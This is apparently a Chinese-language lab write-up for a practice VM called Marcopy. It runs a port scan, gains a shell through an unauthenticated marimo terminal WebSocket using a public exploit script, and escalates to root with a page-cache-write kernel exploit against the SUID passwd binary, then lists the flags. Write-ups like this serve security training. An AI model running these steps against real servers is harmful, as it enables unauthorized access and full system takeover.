

群友靶机-Marcopy

信息搜集

先扫一下端口。

```
└─(root@kali)-[~]
└─# nmap 192.168.0.104 -p- -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-05 07:16 EDT
Nmap scan report for bogon (192.168.0.104)
Host is up (0.00038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
8080/tcp   open  http      Uvicorn
|_http-server-header: uvicorn
MAC Address: 08:00:27:D4:92:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.38 ms bogon (192.168.0.104)

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.78 seconds
```

开放了22端口的SSH和8080端口的Web服务

Web服务探测

访问 `http://192.168.0.104:8080/`，被302重定向到了登录页面：

```
└─(root@kali)-[~]
└─# curl -I http://192.168.0.104:8080/
HTTP/1.1 303 See Other
Connection: keep-alive
Date: Sun, 05 Jul 2026 12:18:24 GMT
Keep-Alive: timeout=4
Location: http://192.168.0.104:8080/auth/login?
next=http%3A%2F%2F192.168.0.104%3A8080%2F
Proxy-Connection: keep-alive
Server: uvicorn
Vary: Cookie
Content-Length: 0
```

登录页是一个简单的密码表单，页面标题是 **marimo**——这是一个Python交互式笔记本应用。查看 `/api/version` 得到版本号：

```
└─(root@kali)-[~]
└─# curl -s http://192.168.0.104:8080/api/version
0.20.4
```

搜索 marimo 漏洞，发现 **CVE-2026-39987** (CVSS 9.3)：marimo ≤ 0.20.4 的 `/terminal/ws` WebSocket 端点缺少认证，可以直接获取 PTY shell。

CVE-2026-39987: [GitHub Advisory \(GHSA-2679-6MX9-H9XC\)](#) | [Exploit](#) | [Sysdig分析](#)

初始访问 — CVE-2026-39987

尝试用[CVE-2026-39987_exploit/CVE-2026-39987_exploit.py at main · mki9/CVE-2026-39987_exploit · GitHub](#)来拿到shell，使用之前要修改脚本内的端口好号，他这个默认的端口是2718

```
(root@kali)-[~/tmp]
# python3 3.py 192.168.0.104 -p 8080

|   _ _ _ _ _ _ _ _ _ _ 
| / _ | | | / _ \ _ | / _ | | | | _ | | | 
| | | _ | | | | \_ \ | | \_ \ | | | _ | | | 
| | | | _ | | | ) || | _ ) | _ | | | | _ 
| \ _ | | | \_/ | ___/ | | | ___/ | | | ___ | ___ | 
| 
| 
| ┌───────────────────────────────────────────┐
| || CVE-2026-39987 | Marimo Pre-Auth RCE Exploit | CVSS 9.3 (CRITICAL)
| └───────────────────────────────────────────┘
| 
├───────────────────────────────────────────┤
└───────────────────────────────────────────┘

08:03:26 [*] Establishing connection to ws://192.168.0.104:8080/terminal/ws
08:03:26 [✓] Connection established successfully
08:03:26 [✓] Authentication bypass confirmed
08:03:26 [*] Initializing interactive shell
08:03:26 [*] Press Ctrl+C to terminate session

comar@Marcopy:~$ id
id
uid=1000(comar) gid=1000(comar) groups=1000(comar)
```

当前这个shell是有点局限性的，将公钥传进去，拿到一个稳定的shell

```
└─(root@kali)-[~]
└─# ssh comar@192.168.0.104
Enter passphrase for key '/root/.ssh/id_rsa':
Linux Marcopy 6.12.73+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.73-1 (2026-02-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul  5 08:19:59 2026 from 192.168.0.102
comar@Marcopy:~$
```

同时发现了 marimo 的认证密码: `copyfailmario`。

```
comar@Marcopy:~$ cat web_marimo.sh
#!/bin/bash
cd /home/comar

source /home/comar/marimo_env/bin/activate

# 显式添加 user bin 路径
export PATH="$HOME/.local/bin:$PATH"

exec marimo edit --host 0.0.0.0 --port 8080 --token --token-
password="copyfailmario" --headless
```

常规三件套下手

```
comar@Marcopy:~$ sudo -l
-bash: sudo: command not found
comar@Marcopy:~$ getcap -r / 2>/dev/null
comar@Marcopy:~$ find / -user root -perm /4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn
```

没有sudo和su，也没有发现可疑的suid权限的文件

提权 — Dirty Frag

注意到内核版本 6.12.73，且密码 `copyfailmario` 暗示 **Copy Fail** (CVE-2026-31431)。但靶机上 `su` 被删除，Copy Fail 的利用依赖 `/usr/bin/su`。搜索同类漏洞，发现 **Dirty Frag**——与 Copy Fail 同属“脏页缓存写入”类漏洞，且明确支持 Debian 13 + 内核 6.12.73。

Copy Fail: [CVE-2026-31431](#) | [copy.fail](#) | [Exploit](#)

Dirty Frag: [CVE-2026-43284](#) | [技术分析](#)

Dirty Frag 链式利用两个漏洞：

- **CVE-2026-43284** (ESP/XFRM)：将 mini-ELF shellcode 写入 SUID 二进制文件的页缓存，补丁 commit [f4c50a4034e6](#)
- **CVE-2026-43500** (RxRPC)：覆写 `/etc/passwd` 文件，补丁 commit [aa54b1d27fe0](#)

接下来上场的就是工具包了

```
comar@Marcopy:~/11-privesc-kit$ cd 02dirtypipe/  
comar@Marcopy:~/11-privesc-kit/02dirtypipe$ ls  
root  
comar@Marcopy:~/11-privesc-kit/02dirtypipe$ chmod +x root  
comar@Marcopy:~/11-privesc-kit/02dirtypipe$ ./root su  
[+] hijacking suid binary..  
open failed: No such file or directory  
[~] failed
```

因为靶机内没有su，并且/usr/bin/passwd有suid权限，那么就用这个进行提取

```
comar@Marcopy:~/11-privesc-kit/02dirtypipe$ ./root /usr/bin/passwd  
[+] hijacking suid binary..  
[+] dropping suid shell..  
# id  
uid=0(root) gid=0(root) groups=0(root)
```

FLAG

```
USER  
flag{user-5b778acf1317511c589119980b43da31522b49240e125c2cd7c86dd7}  
  
ROOT  
flag{root-d75559736ce28a51c0a31468d9ed7e42f1f57e2b486f00be8c60a0d9}
```